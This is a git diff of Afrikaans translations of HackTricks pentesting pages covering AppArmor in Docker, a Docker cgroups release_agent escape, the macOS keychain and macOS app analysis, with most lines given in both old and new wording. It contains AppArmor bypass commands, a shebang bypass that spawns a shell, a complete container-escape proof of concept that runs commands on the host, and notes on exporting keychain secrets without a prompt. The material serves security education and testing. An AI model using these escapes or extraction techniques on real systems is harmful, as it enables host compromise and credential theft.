type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
```
Jy kan ook hierdie inligting kry deur:
U kan ook hierdie inligting verkry deur:
```bash
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
@ -175,7 +161,7 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```
## Apparmor in Docker
Merk op hoe die profiel **docker-profile** van docker standaard gelaai word:
Let op hoe die profiel **docker-profile** van docker standaard gelaai word:
```bash
sudo aa-status
apparmor module is loaded.
@ -191,49 +177,49 @@ apparmor module is loaded.
/usr/lib/connman/scripts/dhclient-script
docker-default
```
Standaard word die **Apparmor docker-standaardprofiel** gegenereer vanaf [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
By default **Apparmor docker-default profiel** is gegenereer van [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
**Docker-standaardprofiel Opsomming**:
**docker-default profiel Opsomming**:
- **Toegang** tot alle **netwerke**
- Geen **vermoë** is gedefinieer (Tog sal sommige vermoëns kom vanaf die insluiting van basiese basisreëls d.w.s. #include \<abstractions/base>)
- **Skryf** na enige **/proc** lêer is **nie toegelaat**
- Ander **subdossiers**/**lêers** van /**proc** en /**sys** word **ontsê** lees/skryf/slot/skakel/uitvoer toegang
- **Monteer** is **nie toegelaat**
- **Ptrace** kan slegs uitgevoer word op 'n proses wat beperk word deur dieselfde **apparmor-profiel**
* **Toegang** tot alle **netwerk**
* **Geen vermoë** is gedefinieer (Echter, sommige vermoëns sal kom van die insluiting van basiese basisreëls i.e. #include \<abstractions/base>)
* **Skryf** na enige **/proc** lêer is **nie toegelaat** nie
* Ander **subgidse**/**lêers** van /**proc** en /**sys** is **weggesluit** lees/skryf/slot/skakel/uitvoer toegang
* **Monteer** is **nie toegelaat** nie
* **Ptrace** kan slegs op 'n proses wat deur **dieselfde apparmor profiel** beperk is, uitgevoer word
Sodra jy 'n **docker houer uitvoer**, behoort jy die volgende uitset te sien:
Sodra jy 'n **docker-container** **hardloop**, behoort jy die volgende uitvoer te sien:
```bash
1 processes are in enforce mode.
docker-default (825)
```
Merk op dat **apparmor selfs bevoegdhede-privileges sal blokkeer** wat standaard aan die houer toegeken is. Byvoorbeeld, dit sal in staat wees om **toestemming om binne /proc te skryf te blokkeer selfs as die SYS\_ADMIN bevoegdheid toegeken is** omdat die standaard docker apparmor profiel hierdie toegang ontken:
Let wel dat **apparmor selfs vermoënsprivileges** wat aan die houer toegeken is, standaard sal blokkeer. Byvoorbeeld, dit sal in staat wees om **toestemming te blokkeer om binne /proc te skryf selfs as die SYS\_ADMIN vermoë gegee is** omdat die standaard docker apparmor-profiel hierdie toegang ontken:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```
Jy moet **apparmor uitskakel** om sy beperkings te omseil:
U moet **apparmor deaktiveer** om sy beperkings te omseil:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
Merk op dat **AppArmor** standaard ook **die houer verbied om** van binne af volumes te koppel selfs met die SYS\_ADMIN-vermoë.
Let wel, standaard sal **AppArmor** ook **die houer verbied om** vouers van binne te monteer, selfs met SYS\_ADMIN vermoë.
Merk op dat jy **vermoëns kan byvoeg/verwyder** aan die docker-houer (dit sal steeds beperk word deur beskermingsmetodes soos **AppArmor** en **Seccomp**):
Let wel, jy kan **byvoeg/verwyder** **vermoëns** aan die docker houer (dit sal steeds beperk word deur beskermingsmetodes soos **AppArmor** en **Seccomp**):
* `--cap-add=SYS_ADMIN` gee `SYS_ADMIN` vermoë
* `--cap-add=ALL` gee alle vermoëns
* `--cap-drop=ALL --cap-add=SYS_PTRACE` laat alle vermoëns val en gee slegs `SYS_PTRACE`
* `--cap-drop=ALL --cap-add=SYS_PTRACE` verwyder alle vermoëns en gee slegs `SYS_PTRACE`
{% hint style="info" %}
Gewoonlik, wanneer jy **vind** dat jy 'n **bevoorregte vermoë** beskikbaar **binne** 'n **docker**-houer **maar** 'n deel van die **uitbuiting nie werk nie**, sal dit wees omdat docker **apparmor dit voorkom**.
Gewoonlik, wanneer jy **vind** dat jy 'n **bevoorregte vermoë** beskikbaar het **binne** 'n **docker** houer **maar** 'n deel van die **ontploffing werk nie**, sal dit wees omdat docker **apparmor dit sal voorkom**.
{% endhint %}
### Voorbeeld
(Voorbeeld van [**hier**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
Om die AppArmor-funksionaliteit te illustreer, het ek 'n nuwe Docker-profiel "mydocker" geskep met die volgende lyn bygevoeg:
Om AppArmor se funksionaliteit te illustreer, het ek 'n nuwe Docker-profiel “mydocker” geskep met die volgende lyn bygevoeg:
```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
```
@ -241,35 +227,37 @@ Om die profiel te aktiveer, moet ons die volgende doen:
```
sudo apparmor_parser -r -W mydocker
```
Om die profiele te lys, kan ons die volgende bevel uitvoer. Die bevel hieronder lys my nuwe AppArmor-profiel.
Om die profiele te lys, kan ons die volgende opdrag uitvoer. Die onderstaande opdrag lys my nuwe AppArmor-profiel.
```
$ sudo apparmor_status | grep mydocker
mydocker
```
Soos hieronder getoon, kry ons 'n fout wanneer ons probeer om "/etc/" te verander aangesien die AppArmor-profiel skryftoegang tot "/etc" voorkom.
Soos hieronder getoon, kry ons 'n fout wanneer ons probeer om “/etc/” te verander aangesien die AppArmor-profiel skryftoegang tot “/etc” voorkom.
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```
### AppArmor Docker Omgang1
### AppArmor Docker Bypass1
Jy kan vind watter **apparmor profiel 'n houer** hardloop deur gebruik te maak van:
Jy kan vind watter **apparmor-profiel 'n houer uitvoer** deur:
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
```
Dan kan jy die volgende lyn hardloop om **die presiese profiel wat gebruik word te vind**:
Dan kan jy die volgende lyn uitvoer om **die presiese profiel wat gebruik word te vind**:
```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
### AppArmor Docker Omskip2
In die vreemde geval kan jy **die apparmor docker-profiel wysig en dit herlaai.** Jy kan die beperkings verwyder en "omseil" hulle.
**AppArmor is pad-gebaseer**, dit beteken dat selfs al mag dit dalk **beskerm** lêers binne 'n gids soos **`/proc`** as jy kan **konfigureer hoe die houer uitgevoer gaan word**, kan jy die proc-gids van die gasheer binne **`/host/proc`** **aankoppel** en dit **sal nie meer deur AppArmor beskerm word nie**.
### AppArmor Docker Bypass2
### AppArmor Shebang Omskip
**AppArmor is pad-gebaseerd**, dit beteken dat selfs al mag dit **lêers** binne 'n gids soos **`/proc`** beskerm, as jy kan **konfigureer hoe die houer gaan loop**, kan jy die proc-gids van die gasheer binne **`/host/proc`** **monteer** en dit **sal nie meer deur AppArmor beskerm word** nie.
In [**hierdie fout**](https://bugs.launchpad.net/apparmor/+bug/1911431) kan jy 'n voorbeeld sien van hoe **selfs al voorkom jy dat perl met sekere hulpbronne uitgevoer word**, as jy net 'n skalie-skripsie **spesifiseer** in die eerste lyn **`#!/usr/bin/perl`** en jy **voer die lêer direk uit**, sal jy in staat wees om enigiets uit te voer. Byvoorbeeld:
### AppArmor Shebang Bypass
In [**hierdie fout**](https://bugs.launchpad.net/apparmor/+bug/1911431) kan jy 'n voorbeeld sien van hoe **selfs al verhoed jy dat perl met sekere hulpbronne uitgevoer word**, as jy net 'n skulp-skrip **skep** wat in die eerste lyn **`#!/usr/bin/perl`** spesifiseer en jy **voer die lêer direk uit**, sal jy in staat wees om te voer wat jy wil. Byvoorbeeld:
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -279,29 +267,17 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** **gekompromiteer** is.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,35 +1,22 @@
# Docker release\_agent cgroups escape
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** is **gekompromiteer**.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
**Vir verdere besonderhede, verwys na die** [**oorspronklike blogpos**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Hierdie is net 'n opsomming:
**Vir verdere besonderhede, verwys na die** [**oorspronklike blogpos**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Dit is net 'n opsomming:
Oorspronklike PoC:
```shell
@ -39,63 +26,51 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Die bewys van konsep (PoC) demonstreer 'n metode om cgroups te benut deur 'n `release_agent` lêer te skep en sy aanroeping te trigger om arbitrêre bevele op die houer-gashuis uit te voer. Hier is 'n uiteensetting van die stappe wat betrokke is:
Die bewys van konsep (PoC) demonstreer 'n metode om cgroups te benut deur 'n `release_agent` lêer te skep en sy aanroep te aktiveer om arbitrêre opdragte op die houer gasheer uit te voer. Hier is 'n uiteensetting van die stappe wat betrokke is:
1. **Berei die Omgewing Voor:**
* 'n Gids `/tmp/cgrp` word geskep om as 'n koppelvlakpunt vir die cgroup te dien.
* Die RDMA cgroup-beheerder word aan hierdie gids gekoppel. In geval van afwesigheid van die RDMA-beheerder, word dit voorgestel om die `memory` cgroup-beheerder as 'n alternatief te gebruik.
1. **Bereid die Omgewing Voor:**
* 'n Gids `/tmp/cgrp` word geskep om as 'n monteerpunt vir die cgroup te dien.
* Die RDMA cgroup-beheerder word op hierdie gids gemonteer. In die geval van afwesigheid van die RDMA-beheerder, word dit voorgestel om die `memory` cgroup-beheerder as 'n alternatief te gebruik.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Stel die Kind Cgroup op:**
* 'n Kind cgroup met die naam "x" word geskep binne die gemoniteerde cgroup gids.
* Kennisgewings word geaktiveer vir die "x" cgroup deur 1 na sy notify\_on\_release lêer te skryf.
* 'n Kind cgroup met die naam "x" word binne die gemonteerde cgroup-gids geskep.
* Kennisgewings word geaktiveer vir die "x" cgroup deur 1 in sy notify\_on\_release-lêer te skryf.
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Stel die Vrystellingsagent in:**
3. **Konfigureer die Vrylating Agent:**
* Die pad van die houer op die gasheer word verkry uit die /etc/mtab-lêer.
* Die release\_agent-lêer van die cgroup word dan ingestel om 'n skrip genaamd /cmd uit te voer wat op die verkrygte gasheerpad geleë is.
* Die release\_agent-lêer van die cgroup word dan gekonfigureer om 'n skrif met die naam /cmd uit te voer wat op die verkryde gasheerpad geleë is.
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Skep en Konfigureer die /cmd Skrip:**
* Die /cmd skrip word binne die houer geskep en ingestel om ps aux uit te voer, waar die uitset na 'n lêer genaamd /output in die houer omgelei word. Die volledige pad van /output op die gasheer word gespesifiseer.
* Die /cmd skrip word binne die houer geskep en is geconfigureer om ps aux uit te voer, terwyl die uitvoer na 'n lêer met die naam /output in die houer herlei word. Die volle pad van /output op die gasheer word gespesifiseer.
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Lokaliseer die Aanval:**
* 'n Proses word geïnisieer binne die "x" kind cgroup en word dadelik beëindig.
* Dit lok die `release_agent` (die /cmd-skrip) uit, wat ps aux op die gasheer uitvoer en die uitset na /uitset binne die houer skryf.
5. **Trigger die Aanval:**
* 'n Proses word binne die "x" kind cgroup geinitieer en word onmiddellik beëindig.
* Dit aktiveer die `release_agent` (die /cmd skrip), wat ps aux op die gasheer uitvoer en die uitvoer na /output binne die houer skryf.
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** gekompromitteer is.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,24 +15,11 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Hoof Sleutelsakke
* Die **Gebruiker Sleutelsak** (`~/Library/Keychains/login.keycahin-db`), wat gebruik word om **gebruiker-spesifieke geloofsbriewe** soos toepassingswagwoorde, internetwagwoorde, gebruiker-gegenereerde sertifikate, netwerkwagwoorde, en gebruiker-gegenereerde publieke/privaat sleutels te stoor.
* Die **Stelsel Sleutelsak** (`/Library/Keychains/System.keychain`), wat **stelsel-wye geloofsbriewe** soos WiFi wagwoorde, stelsel wortelsertifikate, stelsel private sleutels, en stelsel toepassingswagwoorde stoor.
* Die **Gebruiker Sleutelsak** (`~/Library/Keychains/login.keycahin-db`), wat gebruik word om **gebruiker-spesifieke akrediteer** soos toepassingswagwoorde, internetwagwoorde, gebruiker-gegenereerde sertifikate, netwerkwagwoorde, en gebruiker-gegenereerde publieke/privaat sleutels te stoor.
* Die **Stelsel Sleutelsak** (`/Library/Keychains/System.keychain`), wat **stelsel-wye akrediteer** soos WiFi wagwoorde, stelsel wortelsertifikate, stelsel privaat sleutels, en stelsel toepassingswagwoorde stoor.
### Wagwoord Sleutelsak Toegang
@ -56,7 +43,7 @@ Die ACLs word verder vergesel deur 'n **lys van vertroude toepassings** wat hier
Ook kan die inskrywing die sleutel **`ACLAuthorizationPartitionID`** bevat, wat gebruik word om die **teamid, apple,** en **cdhash** te identifiseer.
* As die **teamid** gespesifiseer is, dan om die **inskrywing** waarde **sonder** 'n **prompt** te **toegang**, moet die gebruikte toepassing die **selfde teamid** hê.
* As die **teamid** gespesifiseer is, dan om die **inskrywing** waarde **sonder** 'n **prompt** te **verkry** moet die gebruikte toepassing die **selfde teamid** hê.
* As die **apple** gespesifiseer is, dan moet die app **onderteken** wees deur **Apple**.
* As die **cdhash** aangedui is, dan moet die **app** die spesifieke **cdhash** hê.
@ -68,15 +55,15 @@ Wanneer 'n **nuwe** **inskrywing** geskep word met **`Keychain Access.app`**, ge
* **Geen apps** kan uitvoer/ontsleutel (sonder om die gebruiker te vra).
* Alle apps kan die integriteitskontrole sien.
* Geen apps kan ACLs verander nie.
* Die **partitionID** is opgestel na **`apple`**.
* Die **partitionID** is gestel op **`apple`**.
Wanneer 'n **toepassing 'n inskrywing in die sleutelsak skep**, is die reëls effens anders:
* Alle apps kan versleutel.
* Slegs die **skepende toepassing** (of enige ander apps wat eksplisiet bygevoeg is) kan uitvoer/ontsleutel (sonder om die gebruiker te vra).
* Slegs die **skep-toepassing** (of enige ander apps wat eksplisiet bygevoeg is) kan uitvoer/ontsleutel (sonder om die gebruiker te vra).
* Alle apps kan die integriteitskontrole sien.
* Geen apps kan die ACLs verander nie.
* Die **partitionID** is opgestel na **`teamid:[teamID hier]`**.
* Die **partitionID** is gestel op **`teamid:[teamID hier]`**.
## Toegang tot die Sleutelsak
@ -129,41 +116,30 @@ Eksporteer die data:
En dit is die **vereistes** om 'n **geheim sonder 'n prompt** te kan **eksporteer**:
* As **1+ vertroude** apps gelys:
* Nodig die toepaslike **autorisaties** (**`Nil`**, of wees **deel** van die toegelate lys van apps in die autorisasie om toegang tot die geheime inligting te verkry)
* Nodig die toepaslike **autorisasies** (**`Nil`**, of wees **deel** van die toegelate lys van apps in die autorisasie om toegang tot die geheime inligting te verkry)
* Nodig kodehandtekening om te pas by **PartitionID**
* Nodig kodehandtekening om te pas by een **vertroude app** (of wees 'n lid van die regte KeychainAccessGroup)
* As **alle toepassings vertrou**:
* Nodig die toepaslike **autorisaties**
* Nodig die toepaslike **autorisasies**
* Nodig kodehandtekening om te pas by **PartitionID**
* As **geen PartitionID**, dan is dit nie nodig nie
{% hint style="danger" %}
Daarom, as daar **1 toepassing gelys** is, moet jy **kode in daardie toepassing inspuit**.
As **apple** aangedui word in die **partitionID**, kan jy dit met **`osascript`** benader, so enigiets wat al die toepassings met apple in die partitionID vertrou. **`Python`** kan ook hiervoor gebruik word.
As **apple** aangedui word in die **partitionID**, kan jy dit met **`osascript`** benader, so enigiets wat alle toepassings met apple in die partitionID vertrou. **`Python`** kan ook hiervoor gebruik word.
{% endhint %}
### Twee addisionele eienskappe
* **Onsigbaar**: Dit is 'n booleaanse vlag om die inskrywing van die **UI** Keychain app te **versteek**
* **Algemeen**: Dit is om **metadata** te stoor (so dit is NIE VERSPREKELD nie)
* **Algemeen**: Dit is om **metadata** te stoor (so dit is NIE VERSPREID nie)
* Microsoft het al die verfrissingstokens in platte teks gestoor om toegang tot sensitiewe eindpunte te verkry.
## Verwysings
## References
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle wat voortspruit uit inligting-steel malware te bekamp.
Jy kan hul webwerf nagaan en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,8 +1,8 @@
# macOS Apps - Inspekteer, debugeer en Fuzzing
# macOS Apps - Inspekteer, debugg en Fuzzing
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,19 +15,6 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Statiese Analise
@ -125,20 +112,20 @@ Hierdie hulpmiddel laat jou toe om Apple skyfbeeldes (**.dmg**) lêers te **mont
```bash
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```
It will be mounted in `/Volumes`
It sal gemonteer word in `/Volumes`
### Packed binaries
### Gepakte binêre
* Kontroleer vir hoë entropie
* Kontroleer die strings (as daar amper geen verstaanbare string is, gepak)
* Die UPX-pakker vir MacOS genereer 'n afdeling genaamd "\_\_XHDR"
## Static Objective-C analysis
## Statiese Objective-C analise
### Metadata
{% hint style="danger" %}
Let daarop dat programme geskryf in Objective-C **behou** hul klasverklarings **wanneer** **gecompileer** in [Mach-O binaries](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Sulke klasverklarings **sluit** die naam en tipe van:
Let daarop dat programme wat in Objective-C geskryf is **behou** hul klasverklarings **wanneer** **gecompileer** in [Mach-O binêre](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Sulke klasverklarings **sluit** die naam en tipe van in:
{% endhint %}
* Die interfaces wat gedefinieer is
@ -146,9 +133,9 @@ Let daarop dat programme geskryf in Objective-C **behou** hul klasverklarings **
* Die interface instansie veranderlikes
* Die protokolle wat gedefinieer is
Let daarop dat hierdie name dalk obfuskeer kan word om die omgekeerde van die binêre moeiliker te maak.
Let daarop dat hierdie name dalk obfuskeer kan word om die omkering van die binêre moeiliker te maak.
### Function calling
### Funksie-aanroep
